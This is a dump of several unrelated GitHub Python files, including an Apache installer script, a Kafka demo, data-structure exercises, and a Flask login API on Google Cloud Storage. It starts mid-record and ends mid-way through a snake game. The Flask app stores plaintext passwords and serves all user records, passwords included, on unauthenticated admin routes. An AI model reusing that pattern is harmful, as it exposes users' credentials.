Representation Details\n cfg.OUTPUT = CN()\n cfg.OUTPUT.output_txt_directory = ''\n\n cfg.freeze()\n return cfg\n","repo_name":"amazon-science/transformer-gan","sub_path":"model/utils/config_inference.py","file_name":"config_inference.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"61"} +{"seq_id":"20016385802","text":"#encoding:utf-8\r\nimport os\r\nimport sys\r\nimport random\r\nimport socket\r\nimport requests\r\nfrom os import system\r\nfrom sys import argv\r\n\r\nflag_UAC=True\r\n\r\ndef s(command,ignore=True):\r\n prefix=\">nul 2>nul \" if ignore else \"\"\r\n return system(prefix+command)\r\n\r\n\r\ndef e(ret=1):\r\n print(\"\\n程序无法继续运行,按任意键退出...\")\r\n s(\"pause\")\r\n exit(ret)\r\n\r\ndef checkdir():\r\n workdir = os.getcwd().lower()\r\n if workdir != \"c:\\\\bioweb\":\r\n print(\"程序所在路径不正确,请安装到C:\\\\BioWeb\")\r\n e(1)\r\n\r\ndef checkUAC():\r\n global flag_UAC\r\n tmpfile = os.environ[\"SystemRoot\"]+\"\\\\System32\\\\bioweb_tmp\"+str(random.random())\r\n try:\r\n open(tmpfile,\"w\").write(\"UAC test\")\r\n os.remove(tmpfile)\r\n flag_UAC=False\r\n except PermissionError:\r\n print(\"对不起,现在本安装程序没有足够的权限呢。。。\")\r\n print(\"请关闭本窗口后右键,选择“以管理员身份运行”~\")\r\n e(2)\r\n\r\ndef uninstall():\r\n global flag_UAC\r\n if flag_UAC:\r\n checkUAC()\r\n s(\"bin\\\\httpd -k stop\")\r\n s(\"bin\\\\httpd -k uninstall\")\r\n\r\ndef installapache():\r\n global flag_UAC\r\n if flag_UAC:\r\n checkUAC()\r\n s(\"bin\\\\httpd -k install\")\r\n return s(\"bin\\\\httpd -k start\")==0\r\n\r\ndef start_browser():\r\n s(\"start \\\"\\\" http://127.0.0.1\")\r\n\r\ndef is_80port_listening(): \r\n s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) \r\n try: \r\n s.connect((\"127.0.0.1\",80)) \r\n s.shutdown(2) \r\n return True\r\n except: \r\n return False\r\n\r\ndef is_server_ok():\r\n try:\r\n x=requests.get(\"http://127.0.0.1/\",timeout=1)\r\n return \"Apache\" in x.headers.get(\"Server\")\r\n except:\r\n return False\r\n\r\ndef stop_iis():\r\n global flag_UAC\r\n if flag_UAC:\r\n checkUAC()\r\n s(\"net stop IISADMIN\")\r\n s(\"net stop W3SVC\")\r\n\r\ndef stop_nginx():\r\n global flag_UAC\r\n if flag_UAC:\r\n checkUAC()\r\n s(\"taskkill /f /im nginx.exe\")\r\n\r\ndef install():\r\n if is_server_ok():\r\n start_browser()\r\n else:\r\n checkUAC()\r\n checkdir()\r\n if is_80port_listening():\r\n stop_iis()\r\n stop_nginx()\r\n if is_80port_listening():\r\n uninstall()\r\n if is_80port_listening():\r\n print(\"\"\"您的80端口仍被占用,以下为 netstat -ano|find \":80\"|find \"LISTENING\" 的执行结果:\"\"\")\r\n system('netstat -ano|find \":80\"|find \"LISTENING\"')\r\n print(\"其中最后一列为进程的PID,您可以手动结束占用80端口的进程后再次运行本安装程序\")\r\n e(3)\r\n print(\"正在搭建服务器,马上就好~\")\r\n if installapache() and is_server_ok():\r\n start_browser()\r\n else:\r\n print(\"未知原因的安装失败\")\r\n e(3)\r\n\r\n \r\nif __name__ == \"__main__\":\r\n if len(argv)==1:\r\n print(\"\"\"用法:\r\n安装/启动:python manage.py install\r\n卸载:python manage.py remove\"\"\")\r\n system(\"pause\")\r\n exit(0)\r\n if argv[1]==\"install\":\r\n install()\r\n elif argv[1]==\"remove\":\r\n uninstall()\r\n print(\"Apache服务已经卸载,您可以手动删除C:\\BioWeb\")\r\n system(\"pause\")\r\n elif argv[1]==\"start\":\r\n install()","repo_name":"handreazz/BioWeb","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28080255232","text":"from pila import Pila\n\n\n###### Trabajo Practio Pila ##############\n\n\n#########################################\n######### Ejercicio 19 ##################\n#########################################\n\n'''\nDada una pila de películas de las que se conoce su título, estudio cinematográfico y año de estreno, \ndesarrollar las funciones necesarias para resolver las siguientes actividades:\na. mostrar los nombre películas estrenadas en el año 2014;\nb. indicar cuántas películas se estrenaron en el año 2018;\nc. mostrar las películas de Marvel Studios estrenadas en el año 2016.\n'''\nclass Movie():\n def __init__(self,title,studio,date):\n self.title = title\n self.studio = studio\n self.date = date\n\npila = Pila()\n\nmovies = [Movie(\"El señor de los anillos\",\"Warner\",\"2008\"),\nMovie(\"Harry Potter\",\"Warner\",\"2018\"),\nMovie(\"Matanga dijo la changa\",\"Marvel Studios\",\"2014\"),\nMovie(\"Warner picturies pelicula\",\"Warner\",\"2018\"),\nMovie(\"Pelicula marvel 1\",\"Marvel Studios\",\"2016\"),\nMovie(\"Pelicula marvel 2\",\"Marvel Studios\",\"2018\"),\nMovie(\"Wall-e\",\"Pixar\",\"2014\"),\nMovie(\"Los increibles\",\"Pixar\",\"2008\"),\n]\n\n\nfor movie in movies:\n pila.apilar(movie)\n\nmovie2014 = []\ncontador2018 = 0\nmovieMarvel2016 = []\n\nwhile not pila.pila_vacia():\n movie = pila.desapilar()\n if(movie.date == \"2014\"):\n movie2014.append(movie.title)\n if(movie.date == \"2018\"):\n contador2018 += 1\n if(movie.date == \"2016\") and (movie.studio == \"Marvel Studios\"):\n movieMarvel2016.append(movie)\n\nprint(\"Peliculas de 2014: \")\nfor movie in movie2014:\n print(\"-\",movie)\n\nprint(\"Cantidad de peliculas en 2018: \")\nprint(\"-\",contador2018)\n\nprint(\"Peliculas de Marvel Studio estrenadas en 2016:\")\nfor movie in movieMarvel2016:\n print(\"-\",movie.title,movie.studio,movie.date)\n\n\n\n'''\nDada una pila de personajes de Marvel Cinematic Universe (MCU), de los cuales se dispone de \nsu nombre y la cantidad de películas de la saga en la que participó, implementar las funciones \nnecesarias para resolver las siguientes actividades:\na. determinar en qué posición se encuentran Rocket Raccoon y Groot, tomando como posición uno la cima de la pila;\n\nb. determinar los personajes que participaron en más de 5 películas de la saga,\n además indicar la cantidad de películas en la que aparece;\n\nc. determinar en cuantas películas participo la Viuda Negra (Black Widow);\n\nd. mostrar todos los personajes cuyos nombre empiezan con C, D y G\n'''\nprint(\"*************\")\nprint(\"*************\")\nprint(\"Ejercicio 24 \")\nprint(\"*************\")\nprint(\"*************\")\n\nclass Character():\n def __init__(self,name,countMovies):\n self.name = name\n self.countMovies = countMovies\n\ncharacters = [\n Character(\"Spider-Man\",4),\n Character(\"Iron Man\",8),\n Character(\"Capitan America\",7),\n Character(\"Black Widow\",7),\n Character(\"Rocket Raccoon\",5),\n Character(\"Groot\",3),\n Character(\"DeadPool\",1),\n]\n\nchars = [\"C\",\"D\",\"G\"]\n\npilaCharacters = Pila()\n\nfor character in characters:\n pilaCharacters.apilar(character)\n\npos = 1\ncounter = 0\ncharacterFive = []\ncharacterChars = []\n\nwhile not pilaCharacters.pila_vacia():\n character = pilaCharacters.desapilar()\n if(character.name == \"Groot\" ) or (character.name == \"Rocket Raccoon\"):\n print(\"La posicion de \",character.name,\"es :\",pos)\n if(character.countMovies > 5):\n characterFive.append(character)\n if(character.name == \"Black Widow\"):\n print(\"Black Widow participo en \",character.countMovies,\"peliculas\")\n if(character.name[0] in chars):\n characterChars.append(character)\n pos += 1\n\n \nprint(\"Los personajes que participaron en mas de 5 sagas son los siguientes:\")\nfor character in characterFive:\n print(character.name,\"trabajo en \",character.countMovies)\n\nprint(\"Los personaes que empiezan con letra D, G o C son :\")\nfor character in characterChars:\n print(character.name)\n","repo_name":"aballay/AlgoritmosyEstructuras-de-datos.","sub_path":"Trabajos Practicos/TP2-Pila.py","file_name":"TP2-Pila.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"43199838704","text":"from kafka import KafkaProducer, KafkaConsumer\nfrom kafka.errors import kafka_errors\nimport traceback\nimport json\nimport os\nimport time\nimport logging\n\ndef producerDemo():\n print(\"producer start send message....\")\n print(\"Producer {}:{}\".format(hostProducer, port))\n producer = KafkaProducer(\n bootstrap_servers=[hostProducer+\":\"+port],\n key_serializer=lambda k: json.dumps(k).encode(),\n value_serializer=lambda v: json.dumps(v).encode(),\n api_version=(3, 3, 1),\n retries=10,\n request_timeout_ms=60000,\n max_block_ms=120000)\n \n for i in range(0, 240):\n _ = producer.send(\n topic,\n key='count_num',\n value=str(i),\n )\n print(\"send {}\".format(str(i)))\n time.sleep(0.5)\n \ndef consumerDemo():\n print(\"consumer start serving....\")\n print(\"consumer {}:{}\".format(hostConsumer, port))\n consumer = KafkaConsumer(\n topic,\n bootstrap_servers=hostConsumer+\":\"+port,\n # group_id=consumerGroup,\n api_version=(3, 3, 1),\n retry_backoff_ms=6000,\n session_timeout_ms=60000,\n consumer_timeout_ms = 1200000\n )\n \n for message in consumer:\n print(\"receive, offset: {}, key: {}, value: {}\".format(\n message.offset,\n json.loads(message.key.decode()),\n json.loads(message.value.decode())\n ))\n consumer.close()\n\n# Setup Env\nhostProducer = os.environ['hostProducer'] if \"hostProducer\" in os.environ else 'bd1'\nhostConsumer = os.environ['hostConsumer'] if 'hostConsumer' in os.environ else 'bd1'\nconsumerGroup = os.environ['group'] if 'group' in os.environ else 'group1'\ndebug = os.environ['debug'] if 'debug' in os.environ else ''\ntopic = \"demo4\"\nport = \"9092\"\n\nif debug != \"\":\n logging.basicConfig(level = logging.DEBUG)\n\nif('TYPE' in os.environ and os.environ[\"TYPE\"] == \"c\"):\n consumerDemo()\nelse:\n producerDemo()","repo_name":"heartj/testbed","sub_path":"ansible/roles/test.kafka/files/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22332061479","text":"\"\"\"极坐标系\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as mp\n\n\nt=np.linspace(0,4*np.pi,1000)\nr=0.8*t\nmp.figure('Polar',facecolor='lightgray')\n#写入极坐标系\nmp.gca(projection='polar')\nmp.title('Polar',fontsize=16)\nmp.xlabel(r'$theta$')\nmp.ylabel(r'$\\rho$')\nmp.grid(linestyle=':')\nmp.plot(t,r)\n#在极坐标系中绘制正弦函数\nx = np.linspace(0, 6*np.pi, 1000)\ny = 3*np.sin(6*x)\nmp.plot(x, y)\nmp.show()\n\n\n\n\n\n\n\n\n\n\n","repo_name":"delaven007/Date-analysis","sub_path":"3-填充-条形图柱状图-饼图-等高线图-热成像图-极坐标系-3D图像绘制-简单动画-加载文件/6-polar.py","file_name":"6-polar.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5213460933","text":"import pandas as pd\nfrom math import floor\nfrom pathlib import Path\n\nfrom tcomextetl.common.utils import identify_file_format\n\n\nclass SimpleExcelDataReader:\n\n \"\"\" Parse data by reading Excel file sheet by sheet. \"\"\"\n\n def __init__(\n self,\n excel_fpath: str,\n ws_indexes: list[int] = None,\n skip_rows: int = None,\n skip_footer: int = 0,\n use_cols: str = None,\n parsed_cnt: int = 0\n ):\n\n # parsed sheets and rows\n self._ws_parsed_cnt = 0\n self._parsed_cnt = parsed_cnt\n\n self.excel_fpath = excel_fpath\n\n ext = Path(self.excel_fpath).suffix\n file_format = identify_file_format(excel_fpath)\n\n if ext == '.xlsx' and file_format == 'zip':\n engine = 'openpyxl'\n elif ext == '.xls' and file_format == 'xls':\n engine = 'xlrd'\n else:\n raise TypeError('Wrong format for Excel parsing.')\n\n self._ws_names = pd.ExcelFile(excel_fpath, engine=engine).sheet_names\n\n # read only specified sheets\n self._ws_indexes = ws_indexes\n\n if not ws_indexes:\n self._ws_indexes = [i for i, _ in enumerate(self._ws_names)]\n\n # number of rows to skip\n self._skip_rows = skip_rows\n self.skip_footer = skip_footer\n\n self.use_cols = use_cols\n\n @property\n def percent_done(self):\n total = len(self._ws_names)\n return floor((self._ws_parsed_cnt * 100) / total)\n\n @property\n def status(self):\n s = f'Total: {len(self._ws_names)}'\n s += f'Parsed: {self._parsed_cnt} rows, {self._ws_parsed_cnt} sheets.'\n return\n\n @property\n def stat(self):\n return {'Parsed': self._parsed_cnt}\n\n def __iter__(self):\n\n for sh_i in self._ws_indexes:\n df = pd.read_excel(\n self.excel_fpath,\n sheet_name=self._ws_names[sh_i],\n skiprows=self._skip_rows,\n skipfooter=self.skip_footer,\n usecols=self.use_cols,\n index_col=None,\n dtype=str,\n header=None,\n na_filter=False\n )\n\n self._ws_parsed_cnt += 1\n self._parsed_cnt += len(df.values)\n\n yield [tuple(r) for r in df.to_numpy().tolist()]\n","repo_name":"elessarelfstone/tcomextetl","sub_path":"tcomextetl/common/excel.py","file_name":"excel.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70751342275","text":"from flask import Flask,request\nfrom google.cloud import storage\nimport pandas as pd\nimport json\nimport io\nimport os\nimport datetime as dt\nimport pytz\n\ntz = pytz.timezone('Asia/Bangkok')\n\nPATH = os.path.join(os.getcwd() , '###.json')\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = PATH\nstorage_client = storage.Client(PATH)\n\nbucket = storage_client.get_bucket('fitsi_bucket') # read all file in bucket\n\napp = Flask(__name__)\n\n# history filter by user\ndef history_data_user(body):\n df_history = pd.read_csv(\n io.BytesIO(\n bucket.blob(blob_name = 'historyData.csv').download_as_string() \n ) ,\n encoding='UTF-8',\n sep=',')\n user = body[\"username\"]\n rslt_df = df_history[df_history['username'] == user]\n return rslt_df\n\n# history function to calculate time spent\ndef datetime_diff(time_start,end_ts):\n start_ts = pd.Timestamp(time_start)\n end_ts = pd.Timestamp(end_ts)\n return round(pd.Timedelta(end_ts - start_ts).seconds / 60.0, 2)\n\n# history save all log\ndef history_data_log(body):\n df_history = pd.read_csv(\n io.BytesIO(\n bucket.blob(blob_name = 'historyData.csv').download_as_string() \n ) ,\n encoding='UTF-8',\n sep=',')\n\n time_spent = datetime_diff(str(body[\"time_start\"]),str(body[\"time_end\"]))\n \n if body[\"result_of_grading\"] == \"Excelent Pose Exercise\":\n res_of_grading = \"excellent\"\n elif body[\"result_of_grading\"] == \"Good Pose Exercise\":\n res_of_grading = \"good\"\n elif body[\"result_of_grading\"] == \"Fair Pose Exercise\":\n res_of_grading = \"fair\" \n else:\n res_of_grading = \"error\" \n \n df_body = {\n \"TimeStamp\":pd.Timestamp(dt.datetime.now(tz)),\n \"username\":body[\"username\"],\n \"posture_id\":body[\"posture_id\"], # 0-9 define index_style what count time maybe 1-2 posture?\n \"counting_time\":body[\"counting_time\"],\n \"result_of_grading\":res_of_grading,\n \"time_spent\":time_spent,\n \"time_start\":body[\"time_start\"],\n \"time_end\":body[\"time_end\"]\n }\n\n df_history = pd.concat([df_history, pd.DataFrame.from_records([df_body])])\n\n filename= 'historyData.csv'\n bucket.blob(filename).upload_from_string(df_history.to_csv(index=False,encoding = \"utf-8\"), 'text/csv')\n\n return {\"Message\":\"History save\",\"values\":1}\n\n# save log function\ndef save_log(method,username,status):\n df_log = pd.read_csv(\n io.BytesIO(\n bucket.blob(blob_name = 'log.csv').download_as_string() \n ) ,\n encoding='UTF-8',\n sep=',',dtype={\"TimeStamp\": str,\"Method\":str,\"username\":str,\"status\":int})\n # prepare data into data frame\n df_body = {\n \"TimeStamp\":pd.Timestamp(dt.datetime.now(tz)),\n \"username\":username,\n \"Method\":method,\n \"status\":status\n }\n\n df_log = pd.concat([df_log, pd.DataFrame.from_records([df_body])])\n filename= 'log.csv'\n bucket.blob(filename).upload_from_string(df_log.to_csv(index=False,encoding = \"utf-8\"), 'text/csv')\n return 0\n\n# signin function\ndef signin(body):\n\n df = pd.read_csv(\n io.BytesIO(\n bucket.blob(blob_name = 'database_login.csv').download_as_string() \n ) ,\n encoding='UTF-8',\n sep=',',dtype={\"phoneNumber\": str,\"password\":str,\"confirmPassword\":str})\n\n user = body[\"username\"]\n pass_word = body[\"password\"]\n if not df[((df.username == str(user)) | (df.email == str(user))) & (df.password == str(pass_word))].empty:\n save_log(\"signin\",str(user),1)\n return {\"Message\":\"login success\",\"values\":1}\n else:\n save_log(\"signin\",str(user),0)\n return {\"Message\":\"login not success\",\"values\":0}\n\n# signup function\ndef signup(body):\n\n df = pd.read_csv(\n io.BytesIO(\n bucket.blob(blob_name = 'database_login.csv').download_as_string() \n ) ,\n encoding='UTF-8',\n sep=',',dtype={\"phoneNumber\": str,\"password\":str,\"confirmPassword\":str})\n try:\n try:\n id_no = int(df[\"ID_no\"].iloc[-1])\n id_no+=1\n except:\n id_no = 0\n\n # prepare data into data frame\n df_body = {\n \"TimeStamp\":pd.Timestamp(dt.datetime.now(tz)),\n \"ID_no\":id_no,\n \"fullname\":body[\"fullname\"],\n \"lastname\":body[\"lastname\"],\n \"email\":body[\"email\"],\n \"gender\":body[\"gender\"],\n \"phoneNumber\":body[\"phoneNumber\"],\n \"username\":body[\"username\"],\n \"password\":body[\"password\"],\n \"confirmPassword\":body[\"confirmPassword\"]\n }\n \n user = body[\"username\"]\n email = body[\"email\"]\n\n if df[(df.username == str(user)) | (df.email == str(email))].empty:\n df = pd.concat([df, pd.DataFrame.from_records([df_body])])\n filename= 'database_login.csv'\n bucket.blob(filename).upload_from_string(df.to_csv(index=False,encoding = \"utf-8\"), 'text/csv')\n save_log(\"signup\",str(user),1)\n return {\"Message\":\"sign-up success\",\"values\":1}\n else:\n save_log(\"signup\",str(user),2)\n return {\"Message\":\"sign-up not success your have old user or email\",\"values\":2}\n\n except:\n save_log(\"signup\",str(user),0)\n return {\"Message\":\"sign-up not success\",\"values\":0}\n\n# history system / only user login\n@app.route('/history/user',methods=['POST'])\ndef History_Data_call():\n if request.method == 'POST':\n body = request.get_json()\n df = history_data_user(body)\n\n result = df.to_json(orient=\"records\")\n parsed = json.loads(result)\n\n return parsed\n return 0\n\n# history system\n@app.route('/history',methods=['POST','GET'])\ndef History_Data():\n if request.method == 'POST':\n body = request.get_json()\n status = history_data_log(body)\n return status\n\n elif request.method == 'GET':\n df = pd.read_csv(\n io.BytesIO(\n bucket.blob(blob_name = 'historyData.csv').download_as_string() \n ) ,\n encoding='UTF-8',\n sep=',')\n # result = df.to_json(orient=\"split\")\n result = df.to_json(orient=\"records\")\n parsed = json.loads(result)\n\n return parsed\n\n return {\"Message\":\"Hello!!\"},201\n\n# login system signin\n@app.route('/login/signin',methods=['POST','GET']) # login no register\ndef Login_Signin_Method():\n if request.method == 'POST':\n\n body = request.get_json()\n status_in = signin(body)\n return status_in\n\n return {\"Message\":\"Hello!!\"},201\n\n# login system signup\n@app.route('/login/signup',methods=['POST','GET']) # register\ndef Login_Signup_Method():\n if request.method == 'POST':\n\n body = request.get_json()\n status_up = signup(body)\n return status_up\n\n return {\"Message\":\"Hello!!\"},201\n\n# login system log\n@app.route('/admin/log',methods=['GET']) # get admin check row\ndef get_admin_log():\n if request.method == 'GET':\n df = pd.read_csv(\n io.BytesIO(\n bucket.blob(blob_name = 'log.csv').download_as_string() \n ) ,\n encoding='UTF-8',\n sep=',',dtype={\"TimeStamp\": str,\"Method\":str,\"username\":str,\"status\":int})\n # df.to_csv('database//log.csv')\n result = df.to_json(orient=\"split\")\n parsed = json.loads(result)\n return parsed\n\n return {\"Message\":\"Hello!!\"},201\n\n# login system ad,in check all user in data base\n@app.route('/admin',methods=['GET']) # get admin check row database\ndef get_admin():\n if request.method == 'GET':\n df = pd.read_csv(\n io.BytesIO(\n bucket.blob(blob_name = 'database_login.csv').download_as_string() \n ) ,\n encoding='UTF-8',\n sep=',',dtype={\"phoneNumber\": str,\"password\":str,\"confirmPassword\":str})\n # df.to_csv('database//database_login.csv')\n result = df.to_json(orient=\"split\")\n parsed = json.loads(result)\n return parsed\n\n return {\"Message\":\"Hello!!\"},201\n\n@app.route('/')\ndef test():\n \"\"\"Return a simple HTML page with a friendly message.\"\"\"\n return {\"Message\":\"Hello!!\"},201\n\nif __name__ == \"main\":\n app.run()","repo_name":"chalothon/API_FitSi_YouTube-Display-","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41881886712","text":"from app.models import db, Comment\n\n\n# Adds a demo user, you can add other users here if you want\ndef seed_comments():\n c1 = Comment(\n user_id='1',\n photo_id='1',\n comment='This boss looks hard to beat, but not as hard to beat as Gimli the mighty Pomeranian'\n )\n c2 = Comment(\n user_id='2',\n photo_id='1',\n comment='Gimli the mighty Pomeranian can finish this boss without problem'\n )\n c3 = Comment(\n user_id='3',\n photo_id='2',\n comment='Gimli the mighty Pom has a bigger personality than this boss monster'\n )\n c4 = Comment(\n user_id='1',\n photo_id='2',\n comment='This is a random comment, I hope you guys like it, it took a lot or effort to come up with it'\n )\n c5 = Comment(\n user_id='2',\n photo_id='3',\n comment='This is also a random comment, but took a little less effort to write'\n )\n c6 = Comment(\n user_id='3',\n photo_id='3',\n comment='This is an effort free comment, hope you like it as much though'\n )\n\n db.session.add(c1)\n db.session.add(c2)\n db.session.add(c3)\n db.session.add(c4)\n db.session.add(c5)\n db.session.add(c6)\n\n db.session.commit()\n\n\n# Uses a raw SQL query to TRUNCATE the users table.\n# SQLAlchemy doesn't have a built in function to do this\n# TRUNCATE Removes all the data from the table, and RESET IDENTITY\n# resets the auto incrementing primary key, CASCADE deletes any\n# dependent entities\ndef undo_comments():\n db.session.execute('TRUNCATE comments RESTART IDENTITY CASCADE;')\n db.session.commit()\n","repo_name":"zavadev/boss-shots","sub_path":"app/seeds/comments.py","file_name":"comments.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"74292787395","text":"from __future__ import annotations\n\nfrom typing import Any, Optional\n\nfrom ..meta_optimizers.dygraph_optimizer import (\n HybridParallelGradScaler as HybridParallelGradScaler,\n)\nfrom ..meta_optimizers.dygraph_optimizer import (\n HybridParallelOptimizer as HybridParallelOptimizer,\n)\nfrom ..utils.hybrid_parallel_util import (\n broadcast_dp_parameters as broadcast_dp_parameters,\n)\nfrom ..utils.hybrid_parallel_util import (\n broadcast_mp_parameters as broadcast_mp_parameters,\n)\nfrom ..utils.hybrid_parallel_util import (\n broadcast_sharding_parameters as broadcast_sharding_parameters,\n)\nfrom ..utils.log_util import logger as logger\nfrom .meta_parallel_base import MetaParallelBase as MetaParallelBase\nfrom .parallel_layers.pp_layers import PipelineLayer as PipelineLayer\nfrom .pp_utils.utils import is_float_tensor as is_float_tensor\n\nclass PipelineParallel(MetaParallelBase):\n use_data_parallel: Any = ...\n use_model_parallel: Any = ...\n use_sharding_parallel: Any = ...\n total_loss: Any = ...\n micro_batch_size: Any = ...\n accumulate_steps: Any = ...\n num_stages: Any = ...\n stage_id: Any = ...\n pp_group: Any = ...\n is_first_stage: Any = ...\n is_last_stage: Any = ...\n global_rank: Any = ...\n micro_batch_id: int = ...\n def __init__(self, layers: Any, hcg: Any, strategy: Any) -> None: ...\n scaler: Any = ...\n data: Any = ...\n def forward_backward_pipeline(self, data: Any, scaler: Any | None = ...): ...\n optimizer: Any = ...\n lr_scheduler: Any = ...\n def train_batch(self, data: Any, optimizer: Any, lr_scheduler: Any | None = ..., scaler: Any | None = ...): ...\n train_loss: Any = ...\n def eval_batch(self, data: Any, compute_loss: bool = ...): ...\n","repo_name":"cattidea/paddlepaddle-stubs","sub_path":"paddle-stubs/distributed/fleet/meta_parallel/pipeline_parallel.pyi","file_name":"pipeline_parallel.pyi","file_ext":"pyi","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"22805423468","text":"import pygame\nimport random\nfrom settings import *\nfrom sprites import *\n\nclass Game:\n def __init__(self):\n pygame.init()\n self.screen = pygame.display.set_mode((WIDTH, HEIGHT))\n pygame.display.set_caption(TITLE)\n self.clock = pygame.time.Clock()\n # Orientación de la serpiente\n self.orientation = 0\n self.paused = False\n self.playing = True\n self.score = 0\n self.high_score = self.get_high_score()\n \n def new(self):\n \"\"\"Juego nuevo.\"\"\"\n self.all_sprites = pygame.sprite.Group()\n # Dibujamos la cabeza de la serpiente.\n self.head = Snake(self, 10, 10)\n # Cuerpo de la serpiente\n # - Cada vez que comamos, añadimos otra \"cabeza\" de serpiente.\n # - Cada elemento de la lista \"seguirá\" al anterior. El primero a la cabeza,\n # el segundo al primero, etc.\n self.snake_parts = []\n self.snake_parts.append(Snake(self, 9, 10))\n self.snake_parts.append(Snake(self, 8, 10))\n\n # Comida\n self.food = Food(self, 20, 10)\n\n \n \n def is_body_part(self):\n \"\"\"Comprobamos que la nueva comida no sea una parte de la serpiente.\"\"\"\n # check the coords agains the body of the snake\n x = random.randint(0, GRIDWIDTH - 1) # -1 para no poner fuera la comida del borde\n y = random.randint(0, GRIDHEIGHT - 1)\n for body in self.snake_parts:\n if x == body.x and y == body.y:\n self.is_body_part()\n return x, y\n\n\n\n def run(self): \n # game loop - set self.playing to False to end the game\n self.playing = True\n while self.playing:\n self.clock.tick(SPEED) # Los FPS vienen dados por la velocidad de la serpiente\n self.events() # Miramos si hay algún evento (clics...)\n self.update() # Actualizamos en consecuencia\n self.draw() # Dibujamos\n\n def quit(self):\n \"\"\"Cierra el juego al hacer clic sobre la X.\"\"\"\n pygame.quit()\n quit(0) # No muestra errores al cerrar.\n \n def update(self): \n if not self.paused:\n # Check if the snake eats the food\n if self.food.food_collision():\n # \"Borramos\" la comida, moviéndola de posición.\n x, y = self.is_body_part()\n self.food.x = x\n self.food.y = y\n # Añadimos una parte a la serpiente.\n self.snake_parts.append(Snake(self, self.snake_parts[-1].x, self.snake_parts[-1].y))\n # Ganamos un punto\n self.score += 1\n \n\n # Update all sprites\n self.all_sprites.update()\n\n # Movimiento de las partes de la serpiente.\n x, y = self.head.x, self.head.y\n for body in self.snake_parts:\n temp_x, temp_y = body.x, body.y\n body.x, body.y = x, y\n x, y = temp_x, temp_y\n\n # Movemos la serpiente. \n # Orientemos la serpiente según las teclas.\n # 0 derecha, 1 arriba, 2 izquierda, 3 abajo\n if self.orientation == 0:\n self.head.x += 1\n elif self.orientation == 1:\n self.head.y -= 1\n elif self.orientation == 2:\n self.head.x -= 1\n elif self.orientation == 3:\n self.head.y += 1\n \n # check for body collision\n # - Comprobamos si alguna de las coordenadas del cuerpo es igual\n # a las coordenadas de la cabeza de la serpiente.\n for body in self.snake_parts:\n if body.body_collision():\n self.playing = False\n \n # send snake to other side of the screen\n if self.head.x > GRIDWIDTH - 1:\n self.head.x = 0\n elif self.head.x < 0:\n self.head.x = GRIDWIDTH\n elif self.head.y > GRIDHEIGHT - 1:\n self.head.y = 0\n elif self.head.y < 0:\n self.head.y = GRIDHEIGHT\n\n \n\n def draw_grid(self):\n \"\"\"Dibuja la rejilla de baldosas.\"\"\"\n for row in range(0, WIDTH, TILESIZE):\n pygame.draw.line(self.screen, LIGHTGREY, (row, 0), (row, HEIGHT))\n for col in range(0, HEIGHT, TILESIZE):\n pygame.draw.line(self.screen, LIGHTGREY, (0, col), (WIDTH, col))\n\n def draw(self):\n self.screen.fill(BGCOLOR) # Limpia la pantalla con el color de fondo\n self.all_sprites.draw(self.screen)\n self.draw_grid()\n if self.paused:\n UIElement(10, 10, \"PAUSED\").draw(self.screen, 100) \n pygame.display.flip() # Para dibujar algo necesitamos flip() la pantalla\n\n def events(self):\n # catch all events\n for event in pygame.event.get():\n # Si pulsamos la X\n if event.type == pygame.QUIT:\n self.quit()\n # Controlamos la orientación de la serpiente\n # - Comprobamos también si la orientación no es la opuesta a la que\n # hay, pues moriríamos por ir en el sentido contrario.\n if event.type == pygame.KEYDOWN:\n if not self.paused:\n if event.key == pygame.K_UP or event.key == pygame.K_w:\n if not self.orientation == 3:\n self.orientation = 1\n if event.key == pygame.K_DOWN or event.key == pygame.K_s:\n if not self.orientation == 1:\n self.orientation = 3\n if event.key == pygame.K_LEFT or event.key == pygame.K_a:\n if not self.orientation == 0:\n self.orientation = 2\n if event.key == pygame.K_RIGHT or event.key == pygame.K_d:\n if not self.orientation == 2:\n self.orientation = 0\n if event.key == pygame.K_SPACE:\n self.paused = not self.paused\n \n def get_high_score(self):\n # Cuidado con la ruta al archivo, pues el directorio de trabajo no es\n # el de snake_v1, sino el superior, el de exp_pygame.\n with open(\"snake_v1/high_score.txt\", \"r\") as file:\n score = file.read()\n return int(score)\n\n def save_score(self):\n with open(\"snake_v1/high_score.txt\", \"w\") as file:\n if self.score > self.high_score:\n file.write(str(self.score))\n else:\n file.write(str(self.high_score))\n \n def main_screen(self):\n self.save_score()\n self.screen.fill(BGCOLOR)\n if not self.playing:\n UIElement(8, 7, \"GAME OVER\").draw(self.screen, 100)\n UIElement(14, 13, f\"Score: {self.score}\").draw(self.screen, 30)\n else:\n UIElement(8, 7, \"SNAKE GAME\").draw(self.screen, 100)\n \n UIElement(13, 11, f\"High score: {self.high_score if self.high_score > self.score else self.score}\").draw(self.screen, 30)\n\n # buttons\n self.start_button = Button(self, BGCOLOR, WHITE, WIDTH / 2 - 150 / 2, 470, 150, 50, \"START\")\n self.quit_button = Button(self, BGCOLOR, WHITE, WIDTH / 2 - 150 / 2, 545, 150, 50, \"QUIT\")\n self.wait()\n \n def wait(self):\n waiting = True\n while 